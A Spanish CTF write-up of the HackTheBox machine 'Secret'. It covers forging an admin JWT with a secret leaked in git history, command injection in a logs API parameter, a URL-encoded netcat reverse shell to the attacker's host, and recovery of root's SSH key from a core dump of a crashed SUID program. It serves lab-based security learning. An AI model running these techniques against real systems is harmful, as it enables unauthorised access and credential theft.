Secret es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Secret 10.10.11.120 a /etc/hosts como secret.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Nmap 7.92 scan initiated Wed Jan 5 10:21:35 2022 as: nmap -sV -sC -oA enumeration/nmap 10.10.11.120 Nmap scan report for 10.10.11.120 Host is up (0.048s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DUMB Docs |_http-server-header: nginx/1.18.0 (Ubuntu) 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 5 10:21:52 2022 -- 1 IP address (1 host up) scanned in 17.14 seconds |
Revisando los puertos descubiertos en el escaneo vamos a comenzar revisando el portal existente en el puerto 80
Enumeración
Accedemos a través del navegador a la url secret.htb y encontramos el siguiente portal
A simple vista revisamos el código fuente, el portal en general y las secciones disponibles y descubrimos dos cosas interesantes.
En primer lugar un texto donde indica que se utilizan tokens jwt
Y una sección en la que permite descargar el código fuente de la aplicación
Revisamos el fichero .zip descargado y dentro encontramos un fichero .env con los siguientes datos
1 2 3 |
$ cat .env DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web' TOKEN_SECRET = secret |
Y un directorio .git del cual vamos a ver el histórico de cambios a ver si podemos ver algo interesante y vemos los siguientes commits
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ git log commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master) Author: dasithsv <dasithsv@gmail.com> Date: Thu Sep 9 00:03:27 2021 +0530 now we can view logs from server 😃 commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:30:17 2021 +0530 removed .env for security reasons commit de0a46b5107a2f4d26e348303e76d85ae4870934 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:29:19 2021 +0530 added /downloads commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:27:35 2021 +0530 removed swap commit 3a367e735ee76569664bf7754eaaade7c735d702 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:26:39 2021 +0530 added downloads commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:25:52 2021 +0530 first commit |
En los cuales vemos uno muy interesante, que hace referencia al secret del Token del fichero .env
1 2 3 4 5 |
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 Author: dasithsv <dasithsv@gmail.com> Date: Fri Sep 3 11:30:17 2021 +0530 removed .env for security reasons |
Así que visto el commit vamos a obtener los cambios que se realizaron en el mismo y obtenemos el valor de la variable TOKEN_SECRET
Llegados a este punto no hay mucho más que descubrir así que enumeramos los posibles directorios existentes con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ gobuster dir -u http://secret.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://secret.htb/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/05 10:22:21 Starting gobuster in directory enumeration mode =============================================================== /download (Status: 301) [Size: 183] [--> /download/] /docs (Status: 200) [Size: 20720] /assets (Status: 301) [Size: 179] [--> /assets/] /api (Status: 200) [Size: 93] /Docs (Status: 200) [Size: 20720] /API (Status: 200) [Size: 93] /DOCS (Status: 200) [Size: 20720] =============================================================== 2022/01/05 10:28:18 Finished =============================================================== |
Obtenemos dos uris que serán vitales llegados a este punto, /api que ya vimos el enlace en el botón de Live Demo y la uri /docs con la documentación de la api utilizada por el portal
Revisamos la documentación, aunque tampoco hay mucho que mirar hasta aquí, tenemos la posibilidad de crear un usuario, acceder con el mismo y revisar la parte privada del portal, así que vamos a ello.
Comenzaremos creando nuestro usuario utilizando curl
1 2 |
$ curl -X POST http://secret.htb/api/user/register -H 'Content-Type: application/json' -d '{"name":"bytemind","email":"bytemind@dasith.works","password":"byte123456."}' {"user":"bytemind"} |
Y posteriormente nos loguearemos para obtener nuestro token jwt
1 2 |
$ curl -X POST http://secret.htb/api/user/login -H 'Content-Type: application/json' -d '{"email":"bytemind@dasith.works","password":"byte123456."}' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoiYnl0ZW1pbmQiLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.EgsjfywC_flrDXFBeOkD39w0MnUVynuf0zg9MPh2edk |
Verificaremos el mismo a través del portal jwt.io
Y observamos los datos de nuestro usuario, así que vamos a acceder a la zona privada para verificar nuestro rol
1 2 3 |
$ curl http://secret.htb/api/priv -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoiYnl0ZW1pbmQiLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.EgsjfywC_flrDXFB eOkD39w0MnUVynuf0zg9MPh2edk' {"role":{"role":"you are normal user","desc":"bytemind"}} |
Llegados a este punto, necesitamos obtener una forma de poder escalar privilegios, es decir, conseguir por medio del token jwt escalar privilegios y acceder con el usuario theadmin visto en la documentación de la api.
Debido a que no hay más uris disponibles por el momento vamos a enumerar de nuevo con gobuster, pero en este caso, vamos a excluir aquellas uri que nos den un código 200 ya que queremos obtener las uris para las cuales sea necesario haber accedido previamente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ gobuster dir -u http://secret.htb/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 200 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://secret.htb/api/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 200 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/05 11:13:01 Starting gobuster in directory enumeration mode =============================================================== /logs (Status: 401) [Size: 13] /priv (Status: 401) [Size: 13] =============================================================== 2022/01/05 11:15:33 Finished =============================================================== |
Y obtenemos la uri de /logs pero no tenemos permisos para poder ver el contenido de la misma.
Utilizaremos entonces el token_secret obtenido anteriormente del fichero zip descargado y para ello modificaremos nuestro token cambiando el nombre del usuario por theadmin y utilizaremos el secret para firmar el mismo
Verificamos el rol que tenemos con nuestro token modificado y vemos que ya somos admin
1 2 |
$ curl http://secret.htb/api/priv -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.L72XEd3KDEutXeNwctx3GagZ0nAqdjrw5wL5KvPsRxw' {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}} |
Ahora que ya hemos conseguido obtener permisos de admin en la api, vamos a la url de logs la cual nos devuelve lo siguiente
1 2 |
$ curl http://secret.htb/api/logs -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.L72XEd3KDEutXeNwctx3GagZ0nAqdjrw5wL5KvPsRxw' {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline undefined"} |
Parece que espera un valor, así que vamos a tratar de pasarlo en la url por medio de un parámetro llamado file
1 2 |
$ curl 'http://secret.htb/api/logs?file=/etc/passwd' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.L72XEd3KDEutXeNwctx3GagZ0nAqdjrw5wL5KvPsRxw' {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"} |
Y completa el mismo, y es posible que nos permita lanzar comandos, así que lanzamos una inyección utilizando el carácter ; como separador y boom! funciona!
1 2 |
$ curl 'http://secret.htb/api/logs?file=;id' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.L72XEd3KDEutXeNwctx3GagZ0nAqdjrw5wL5KvPsRxw' "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n" |
Visto que es posible realizar un RCE, vamos a aprovechar el mismo para ejecutar una rev shell en el servidor y conseguir acceso.
Codificamos nuestra rev shell y la enviamos como parámetro codificado
1 |
$ curl 'http://secret.htb/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.6%204444%20%3E%2Ftmp%2Ff' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ1NjczMGQ0Y2I0ODA0NWNmMzkyZGMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImJ5dGVtaW5kQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTM3NTY5M30.L72XEd3KDEutXeNwctx3GagZ0nAqdjrw5wL5KvPsRxw' |
Y obtenemos acceso con el usuario dasith
1 2 3 4 5 6 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from secret.htb [10.10.11.120] 34660 /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(dasith) gid=1000(dasith) groups=1000(dasith) |
Obteniendo la flag de user
Ahora que ya estamos dentro vamos a la home del usuario y obtenemos la primera flag
1 2 3 4 5 6 7 8 9 10 |
$ pwd /home/dasith/local-web $ cd .. $ ls -l total 8 drwxrwxr-x 8 dasith dasith 4096 Jan 4 23:12 local-web -r-------- 1 dasith dasith 33 Jan 4 20:56 user.txt $ cat user.txt dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx8 $ |
Escalado de privilegios
Llegados a este punto vamos a buscar alguna posibilidad para escalar privilegios a root y después de un rato enumerando, encontramos un proceso interesante con permisos de suid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null | grep -v snap find / -type f -perm -u=s 2>/dev/null | grep -v snap /usr/bin/pkexec /usr/bin/sudo /usr/bin/fusermount /usr/bin/umount /usr/bin/mount /usr/bin/gpasswd /usr/bin/su /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /opt/count |
El fichero /opt/count parece interesante, y observamos que además del ejecutable disponemos del fichero code.c con el código del mismo
1 2 3 4 5 6 |
dasith@secret:/opt$ ls -l ls -l total 32 -rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c -rwsr-xr-x 1 root root 17824 Oct 7 10:03 count -rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log |
Y el contenido del fichero code.c es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount(const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent->d_name, strlen(ent->d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent->d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary); } void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters > 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary); } int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; } |
Si analizamos el mismo, el ejecutable, revisará la ruta que se le indique y mostrará el total de ficheros, líneas y palabras de cada uno, así que hacemos una simple prueba para ver su funcionamiento
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
dasith@secret:/opt$ ./count ./count Enter source file/directory name: /root/.ssh/id_rsa /root/.ssh/id_rsa Total characters = 2602 Total words = 45 Total lines = 39 Save results a file? [y/N]: y y Path: /tmp/zzzzzz /tmp/zzzzzz dasith@secret:/opt$ cat /tmp/zzzzzz cat /tmp/zzzzzz Total characters = 2602 Total words = 45 Total lines = 39 dasith@secret:/opt$ |
Vale, parece que aqui no hay muchas opciones de explotar, así que vamos a realizar una prueba de romper el proceso, mediante el envío de señales, para obtener el dump en /var/crash y poder analizarlo.
Con esta explicación tendríamos, entre otras, que enviar al proceso una señal SIGSEGV (segmentation violation) o SIGBUS (bus error) para forzar la rotura del mismo.
Así que lanzamos el programa pero no confirmamos el guardado
1 2 3 4 5 6 7 8 9 |
dasith@secret:/opt$ ./count ./count Enter source file/directory name: /root/.ssh/id_rsa /root/.ssh/id_rsa Total characters = 2602 Total words = 45 Total lines = 39 Save results a file? [y/N]: |
Ahora, abrimos una segunda shell enviando otra petición con curl y nuestro payload y mataremos el proceso con una de estas señales
1 2 3 4 5 6 7 |
dasith@secret:/var/crash$ ps aux|grep count ps aux|grep count root 860 0.0 0.1 235668 7476 ? Ssl Jan04 0:00 /usr/lib/accountsservice/accounts-daemon dasith 2356 0.0 0.0 2488 524 pts/0 S+ 11:08 0:00 ./count dasith 2360 0.0 0.0 6432 736 pts/1 S+ 11:09 0:00 grep --color=auto count dasith@secret:/var/crash$ kill -BUS 2356 kill -BUS 2356 |
Y observaremos como se ha generado el fichero en la ruta /var/crash
1 2 3 4 5 |
dasith@secret:/var/crash$ ls -l ls -l total 60 -rw-r----- 1 root root 25485 Jan 5 11:05 _opt_count.0.crash -rw-r----- 1 dasith dasith 31372 Jan 5 11:09 _opt_count.1000.crash |
Ahora para poder ver el contenido completo y analizarlo extraeremos el mismo con apport-unpack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
dasith@secret:/var/crash$ mkdir /tmp/zzz mkdir /tmp/zzz dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/zzz apport-unpack _opt_count.1000.crash /tmp/zzz dasith@secret:/var/crash$ ls -l /tmp/zzz ls -l /tmp/zzz total 428 -rw-r--r-- 1 dasith dasith 5 Jan 5 11:17 Architecture -rw-r--r-- 1 dasith dasith 380928 Jan 5 11:17 CoreDump -rw-r--r-- 1 dasith dasith 24 Jan 5 11:17 Date -rw-r--r-- 1 dasith dasith 12 Jan 5 11:17 DistroRelease -rw-r--r-- 1 dasith dasith 10 Jan 5 11:17 ExecutablePath -rw-r--r-- 1 dasith dasith 10 Jan 5 11:17 ExecutableTimestamp -rw-r--r-- 1 dasith dasith 5 Jan 5 11:17 ProblemType -rw-r--r-- 1 dasith dasith 7 Jan 5 11:17 ProcCmdline -rw-r--r-- 1 dasith dasith 4 Jan 5 11:17 ProcCwd -rw-r--r-- 1 dasith dasith 53 Jan 5 11:17 ProcEnviron -rw-r--r-- 1 dasith dasith 2144 Jan 5 11:17 ProcMaps -rw-r--r-- 1 dasith dasith 1336 Jan 5 11:17 ProcStatus -rw-r--r-- 1 dasith dasith 1 Jan 5 11:17 Signal -rw-r--r-- 1 dasith dasith 29 Jan 5 11:17 Uname -rw-r--r-- 1 dasith dasith 3 Jan 5 11:17 UserGroups |
Revisamos el contenido del fichero CoreDump generado y obtendremos en el el contenido del fichero /root/.ssh/id_rsa y con ello la key ssh de root
1 2 3 4 5 6 7 |
dasith@secret:/tmp/zzz$ strings CoreDump | grep "BEGIN OPENSSH" -A 2 strings CoreDump | grep "BEGIN OPENSSH" -A 2 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAn6zLlm7QOGGZytUCO3SNpR5vdDfxNzlfkUw4nMw/hFlpRPaKRbi3 ... ... |
Obteniendo la flag de root
Ahora que ya tenemos la clave ssh, accedemos con root y conseguimos nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
$ ssh -i root.pem root@secret.htb Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 05 Jan 2022 11:28:03 AM UTC System load: 0.0 Processes: 227 Usage of /: 53.2% of 8.79GB Users logged in: 0 Memory usage: 18% IPv4 address for eth0: 10.10.11.120 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Oct 26 15:13:55 2021 root@secret:~# id uid=0(root) gid=0(root) groups=0(root) root@secret:~# ls -l total 8 -r-------- 1 root root 33 Jan 4 20:56 root.txt drwxr-xr-x 3 root root 4096 Aug 13 01:21 snap root@secret:~# cat root.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxa root@secret:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace